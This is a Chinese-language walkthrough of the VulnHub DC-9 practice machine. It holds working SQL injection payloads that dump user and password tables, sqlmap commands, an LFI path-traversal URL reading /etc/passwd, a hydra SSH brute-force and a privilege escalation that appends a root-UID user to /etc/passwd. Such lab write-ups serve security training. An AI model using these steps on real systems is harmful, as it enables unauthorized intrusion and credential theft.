vulnhub-DC9
DC-9 渗透测试 Walk through
信息收集
先寻找靶机,使用netdiscover命令发现靶机
netdiscover -r 192.168.140.0/24
nmap -sS -sV -A -p- 192.168.140.239 扫描靶机服务以及版本
靶机的22端口是filtered google一下发现可能是防火墙或者存在knockd
Knockd : 是一个用于实现端口敲击(Port Knocking)的工具,它允许用户通过在预定的端口序列上发送数据包来触发特定操作。端口敲击是一种安全策略,通过在未公开的端口上发送一系列特定的网络数据包,用户可以实现对其他服务或端口的访问。
先关注靶机开放的 80 端口以及相应版本信息 ,对于80的web服务进行访问
发现了四个主要的功能按钮,其中Display All Records 记录了一些user的信息
使用admin ‘ or 1=1 # 和 admin’ or 1=1 – 测试了登录入口 , 都不存在漏洞
于是将焦点对准Search功能,
可以看到搜索mary能正常回显mary的用户信息,这时我们打开bp到repeater进行一下sql注入手测
构造了search=mary' and 1=1 #
依旧会回显mary的用户信息,说明此处存在sql注入漏洞
sql漏洞
sql注入手测
首先需要确定有多少列。为此,我们将利用”ORDER BY
1 | Mary' order by 1 # |
列数一直测试到Mary' order by 7 #
时,无回显数据 ,所以这里共有6 columns
使用语句
1 | Mary' union select version(),user(),database(),4,5,6 # |
提取出这台机器正在使用MariaDB,数据库客户端的用户名是dbuser,数据库名称为Staff。ID: 10.3.17-MariaDB-0+deb10u1
1 | Name: dbuser@localhost Staff |
现在我们需要提取表名,然后提取列,并将数据泄露出来。
1 | ' UNION SELECT 1,2,3,4,5,concat(schema_name) FROM information_schema.schemata -- ' |
发现主要有两个数据库,并通过下面语句发现当前数据库为Staff
1 | ' UNION SELECT 1,2,3,4,5,database() -- ' |
接下来确定staff数据库中的表名:
1 | ' UNION SELECT 1,2,3,4,5,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='Staff' -- ' |
Users数据库中的表名
1 | ' UNION SELECT 1,2,3,4,5,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='users' -- ' |
发现主要用三个表 StaffDetials、Users 、UserDetails,
确定UserDetails中的字段,
1 | ' UNION SELECT 1,2,3,4,5,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='UserDetails' -- ' |
在UserDetails中发现了一些用户名和密码,先保存起来
1 | ' UNION SELECT id,firstname,username,password,reg_date,6 FROM users.UserDetails -- ' |
确定Users中的字段,
1 | ' UNION SELECT 1,2,3,4,5,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='Users' -- ' |
发现admin用户和hash密码
1 | ' UNION SELECT 1,UserID,3,Username,Password,6 FROM Users -- ' |
得到管理员的密码
1 | Admin |
sqlmap注入
也可以使用sqlmap来完成这一sql漏洞
两种方式
1 | sqlmap -u http://192.168.56.239/results.php --data='search=mary' --level=5 -D users -T UserDetails -C username,password --dump --batch |
sqlmap -r
是 SQLMap 工具的一个选项,用于指定一个包含 HTTP 请求的文件,以便进行基于请求的 SQL 注入测试。这通常用于检测 web 应用程序中的数据库安全性。
密码爆破
使用john破解该散列值 , 在追完一天一夜的真探之后 ,还是没有破解完成,于是准备google一下在线破解网站
然后。。。。。。。
秒解开该散列值 ,但是不得不说真探第一季真的很好看
然后用admin用户登录
寻找可利用后门
下面的 File does not exist 联想起来之前做过的LFI文件包含漏洞
我们尝试使用最常见的LFI测试URL参数进行测试。我们在URL中插入测试参数,后跟welcome.php文件。添加了“?file=”以便将其指向服务器上的本地文件。我们尝试查找/etc/passwd文件,发现它是可访问的。这证明我们确实存在LFI漏洞。
1 | http://192.168.56.21/welcome.php?file=../../../../../../../etc/passwd |
1 | root:x:0:0:root:/root:/bin/bash |
每一行表示一个用户,各字段之间由冒号分隔,包括用户名、密码(已被加密,这里用 x 表示)、用户ID、组ID、用户信息、家目录以及默认shell。
这里联想到前面的knockd协议 , 查一查相关的协议配置
1 | http://192.168.56.239/welcome.php?file=../../../../../etc/knockd.conf |
果然发现了相关配置
1 | [options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn |
使用序列号7469,8475,9842去敲击靶机
1 | nmap -p 7469 192.168.56.239 |
Ssh服务被打开!之前在数据库查到的 用户名和密码,使用hydra登录尝试登录该ssh服务
1 | hydra -L dc9_user.txt -P dc9_passwd.txt 192.168.56.239 ssh |
找到三个可以拥有ssh登录的权限
1 | [22][ssh] host: 192.168.56.239 login: chandlerb password: UrAG0D! |
尝试这三个用户以及相应的权限,在janitor发现不同于前两个用户的文件夹
secrets-for-putin/中发现一个新的密码本 ,加到密码本重新跑一次hydra
新找到一个用户 login: fredf password: B4-Tru3-001
登录 fredf用户
其拥有之前用户没有的sudo -l权限
fredf 用户可以在该主机上以 root 用户的身份运行 /opt/devstuff/dist/test/test,而且执行这个命令时无需输入密码
权限提升
可以尝试用这个特性作为权限提取的方法
找到了 test.py。仔细查看后发现它是一个简单的数据追加程序。它将接受两个文件作为参数,然后将第一个文件的内容追加到第二个文件中。 再联想到/etc/passwd 说不定利用这点可以为我们创建一个特权用户
为了提升权限,我们决定创建一个具有 root 访问权限的新用户,并使用测试文件将该用户的条目添加到 /etc/passwd 文件中。让我们创建一个用户及其密码哈希。我们使用 OpenSSL 完成这个任务。在这里,我们创建了一个名为 hackyou 的用户,密码为 123456。获取哈希后,让我们转到目标机器。
1 | openssl passwd -1 -salt hackyou 123456 |
1 | echo 'hackyou:$1$hackyou$J6zg4syjiVzLHrStsqW9X/:0:0::/root:/bin/bash' >> /tmp/ttt |
成功转到拥有root权限的hackyou用户,拿到flag
总结
渗透总结
信息收集: 通过主机名 dc-9,发现了目标主机。使用端口扫描工具(nmap)检查目标主机上运行的服务和开放的端口。
Web 应用扫描: 发现目标主机上运行了一个 Web 应用程序。可能使用漏洞扫描工具(例如,Nessus、Nexpose)或手动探测来寻找潜在的漏洞。
发现 LFI 漏洞: 通过测试常见的 Local File Inclusion(LFI)漏洞,尝试访问目标主机上的文件系统。使用 URL 参数测试,发现了对 /etc/passwd 文件的可访问性,确认存在 LFI 漏洞。
Port Knocking 发现: 枚举目标主机上的文件,发现了 knockd.conf 文件,得知存在 Port Knocking 配置。了解到开启 SSH 服务需要按照一定顺序“敲击”一系列端口。
SSH 渗透: 利用 Port Knocking 的顺序,按照规定的端口敲击顺序,开启 SSH 服务。使用之前收集到的用户名和密码进行 SSH 身份验证,成功获取 SSH 访问权限。
MySQL 渗透: 在目标主机上运行 MariaDB,使用数据库客户端连接到数据库。提取数据库信息,包括数据库名为 Staff、user,用户为 dbuser。
SQL 注入测试: 通过 SQLMap 工具进行对 Web 应用的 SQL 注入测试,尝试获取数据库中的表名、列名和数据。可能使用 -r 选项指定包含 HTTP 请求的文件进行测试。
破解哈希: 使用 Hashcat 工具对获取到的哈希进行破解,可能尝试使用常见密码字典(例如 rockyou.txt)。
Privilege Escalation: 发现目标主机上存在一个可执行程序 test 允许以 root 权限执行。尝试通过该程序提升权限,创建一个具有 root 访问权限的新用户。
常见配置文件
协议配置通常保存在系统中的配置文件中,具体位置取决于使用的协议和操作系统。以下是一些常见的情况:
SSH(Secure Shell):配置文件:/etc/ssh/sshd_config(对于大多数Linux系统)。
还可能存在其他位置,具体取决于操作系统和SSH软件包的版本。knockd(端口敲击):
配置文件:/etc/knockd.conf(通常在Linux系统上)。
HTTP(Web服务器,如Apache或Nginx):
Apache配置文件:/etc/httpd/conf/httpd.conf 或 /etc/apache2/apache2.conf。
Nginx配置文件:/etc/nginx/nginx.conf 或 /etc/nginx/sites-available/default。FTP(文件传输协议):
vsftpd(Very Secure FTP Daemon)配置文件:/etc/vsftpd.conf。
SMTP(简单邮件传输协议):
邮件服务器软件(如Postfix或Exim)会有不同的配置文件,例如:
Postfix:/etc/postfix/main.cf。
Exim:/etc/exim4/exim4.conf。DNS(域名系统):
Bind配置文件:/etc/named.conf 或 /etc/bind/named.conf。
数据库(如MySQL或PostgreSQL):
MySQL:/etc/my.cnf 或 /etc/mysql/my.cnf。
PostgreSQL:/etc/postgresql/{version}/main/postgresql.conf。